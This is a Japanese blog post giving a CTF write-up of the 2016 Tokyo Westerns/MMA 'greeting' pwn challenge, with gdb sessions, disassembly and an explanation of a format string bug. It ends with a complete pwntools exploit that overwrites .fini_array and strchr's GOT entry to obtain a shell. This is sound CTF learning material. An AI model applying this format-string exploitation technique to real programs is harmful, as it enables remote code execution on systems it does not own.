ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

Tokyo Westerns/MMA CTF 2nd 2016 greeting

bataさんlistいわゆる、pwnのlistの良問集というやつだけど、一番最初に書いてあるもので「babyなのかこれ(困惑)」といった思いをさせてくれた問題。 実行させるとこんな感じ。

shima@chino:~/workspace/pwn_list_baby/greeting$ ./greeting 
Hello, I'm nao!
Please tell me your name... %08x        
Nice to meet you, 080487d0 :)
shima@chino:~/workspace/pwn_list_baby/greeting$

FSB(Format String Bug)ありますねぇ!FSBよくわかんないという人はももテクのリンク張っておきますのでどうぞ。(いつかFSBの記事書きたい)

inaz2.hatenablog.com

とりあえずchecksecやindexが何個目なのかも確認を含めてデバッグをしようと思ってgdbを起動!

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

gdb-peda$ start
[New process 14879]
process 14879 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "main" not defined.
Hello, I'm nao!
Please tell me your name... [Inferior 2 (process 14879) exited normally]
Warning: not running or target is remote

NXbitがあるため、stackでのshellcodeは不可、SSPがあるためstack buffer overflowでreturnアドレスを書き換えることも不可、しかし、PIEやRELROがない状態であるために、使ってるライブラリ関数、セクションの使用、GOT overwriteはできそう。 ここまでの専門用語?がわかんない人はリンク張っておきますのでそこにどうぞ。pwn全体を詳しく体系的にまとめてあります(いつか記事にしたい)

raintrees.net

ここまでは良しとしよう。しかし、うまくデバッグができない・・・なにこれ(困惑)とりあえず逆アセンブルしてみてみよう。すると・・・

08048742 <nao>:
 8048742:  55                     push   ebp
 8048743:  89 e5                 mov    ebp,esp
 8048745:  83 ec 18              sub    esp,0x18
 8048748:  a1 80 9a 04 08         mov    eax,ds:0x8049a80
 804874d:  c7 44 24 04 00 00 00     mov    DWORD PTR [esp+0x4],0x0
 8048754:  00 
 8048755:  89 04 24                 mov    DWORD PTR [esp],eax
 8048758:  e8 e3 fc ff ff        call   8048440 <setbuf@plt>
 804875d:  a1 a0 9a 04 08         mov    eax,ds:0x8049aa0
 8048762:  c7 44 24 04 00 00 00     mov    DWORD PTR [esp+0x4],0x0
 8048769:  00 
 804876a:  89 04 24                 mov    DWORD PTR [esp],eax
 804876d:  e8 ce fc ff ff         call   8048440 <setbuf@plt>
 8048772:  c7 04 24 9c 87 04 08     mov    DWORD PTR [esp],0x804879c
 8048779:  e8 12 fd ff ff        call   8048490 <system@plt>
 804877e:  c9                     leave  
 804877f:  c3                     ret    

nao関数の中にあるsystem関数があったせいでうまくデバッグできなかった模様。そこで必要になるのがset follow-fork-mode parentという命令。これは「親プロセスのほうをデバッグしますよ」という命令これをgdbを起動して打ち込むと・・・

gdb-peda$ set follow-fork-mode parent
gdb-peda$ r
Starting program: /home/shima/workspace/pwn_list_baby/greeting/greeting 
Hello, I'm nao!
Please tell me your name... 

こんな感じに動くようになるよ!さらに今回はsystem関数が使われているため、libc特定とか面倒なことはしなくてよい。あとは引数に/bin/shを指定するだけ。
今回はFSBなのでprintfで表示させるbufferがどの位置にあるのか調べてみる。(AAAAの4文字を入力して実行!)

gdb-peda$ x/100wx $esp
0xffffd000:    0xffffd01c 0x080487d0 0xffffd05c 0x00000000
0xffffd010:    0x00000000 0x00000000 0x00000000 0x6563694e
0xffffd020:    0x206f7420 0x7465656d 0x756f7920 0x4141202c
0xffffd030:    0x3a204141

buffer自体は0xffffd01cのアドレスから始まっている。最初に入っている数字の羅列は何だろう?・・・実はsprinfで(“Nice to meet you, %s :)\n”) とじぶんが入力した文字をくっつけて0xffffd01cに格納している。そのため、最初の数字の羅列はスペースも含めてNice to meet you, の18文字が入っている。0xffffd02eのアドレスから自分が入力した文字AAAAの半分のAAが入ってる(0x4141202cのところ)intelおじさんで動いているため、little-endianであるためstackには後ろから入るというのがわかっている。
 ここで注意しなければならないことがある。今回のELFは32bitであるため、stackは4byte区切りになっている。たとえば、アドレスを格納してある場所に格納してあるライブラリ関数を呼び出すとき、今回のように18byte分であるため、2byte分うまっていない状態であるとき、2byteのずれが生じて、うまく格納先を指し示すことができない。
 そこで今回は適当に2byte好きな文字(padding)を入れてからpayload(攻撃コード)を入れるようにしたいため、今回のindexは12とする。
 さて、indexとsystem関数の特定もできたのであとはGOT overwriteさせて終わり!っていう感じだが・・・

gdb-peda$ x/10i $eip
=> 0x804864f <main+98>:  call   0x8048450 <printf@plt>
   0x8048654 <main+103>: jmp    0x8048662 <main+117>
   0x8048656 <main+105>: mov    DWORD PTR [esp],0x80487e9
   0x804865d <main+112>: call   0x8048480 <puts@plt>
   0x8048662 <main+117>: mov    edx,DWORD PTR [esp+0x9c]
   0x8048669 <main+124>: xor    edx,DWORD PTR gs:0x14
   0x8048670 <main+131>: je     0x8048677 <main+138>
   0x8048672 <main+133>: call   0x8048470 <__stack_chk_fail@plt>
   0x8048677 <main+138>: leave  
   0x8048678 <main+139>: ret 

 上書きするライブラリ関数がないやん!printf実行後のjmp先がもうライブラリ関数がない(正確にはstack_chk_fail@pltがあるけど・・・)stack_chk_fail@pltを書き換えてbufferを溢れさせてSSPつぶして飛ぶように設定すればいいのかな?と思って色々試行錯誤したけどうまくいかなかった。しょうがないのでwrite up見ました。
 結論から言うと「.fini_arrayってやつがexitする前に呼ばれるからこいつをmain関数に書き換えてもう一回main関数呼ぼうぜ!」になりますが、正直「知らんかったわ・・・そんなやつあるんや・・・」って感じでしたね。
 それで、mainに戻した後どこをGOT overwriteさせるんだ?ということですが、strchrをsystemに書き換えます。strchrは自分が入力した値を引数に取るのでこ↑こ↓の入力値を/bin/shにしてあげればsystem(/bin/sh)の形にすることができます。とりあえずコードをべちゃー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log

#[+] fini_addr = 08049934
#[+] main_addr = 080485ed
#[+] strchr_addr = 08049a50
#[+] system_addr = 08048490

elf = ELF('./greeting')

system_addr = elf.plt['system']
strchr_addr = elf.got['strchr']
fini_addr = elf.get_section_by_name('.fini_array').header['sh_addr']
main_addr = 0x80485ed

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"

else:
        conn = process('./greeting')
        print "[+] connect to local\n"

index = 12
print "[+] fini_addr = %08x" % fini_addr
print "[+] main_addr = %08x" % main_addr
print "[+] strchr_addr = %08x" % strchr_addr
print "[+] system_addr = %08x" % system_addr

payload = ''
payload += "AA"
payload += p32(strchr_addr)
payload += p32(strchr_addr+2)
payload += p32(fini_addr)

fsb_system1 = (u16(p32(system_addr)[0:2]) - len("Nice to meet you, " + payload) - 1) % 0x10000 + 1
fsb_system2 = (u16(p32(system_addr)[2:4]) - u16(p32(system_addr)[0:2]) - 1) % 0x10000 + 1
fsb_main1 = (u16(p32(main_addr)[0:2]) - u16(p32(system_addr)[2:4]) - 1) % 0x10000 + 1

payload += "%%%dc%%%d$hn" % (fsb_system1, index)
payload += "%%%dc%%%d$hn" % (fsb_system2, index+1)
payload += "%%%dc%%%d$hn" % (fsb_main1, index+2)
payload += '\n'

conn.recvuntil('Please tell me your name... ')
conn.send(payload)
conn.send('/bin/sh\n')
conn.interactive()

 汚いソースコードだ(確信)肝心のFSBですが、今回はbufferのsizeがあまりないので、2byteずつ書き換えるように設定してます。アドレスから考えてsystem関数の下位2byteを書き換えるだけでいいはずなんですが、上手く動かなかったので(実力不足)全部strchrのアドレスを書き換えるように設定してます。
 後ろに変な-1がついていますが、これは引き算した結果が0になった時の対処法です。つじつま合わせのために割って余りを出した後で最後に1を足してます。 やり終えた総評「babyじゃないやん」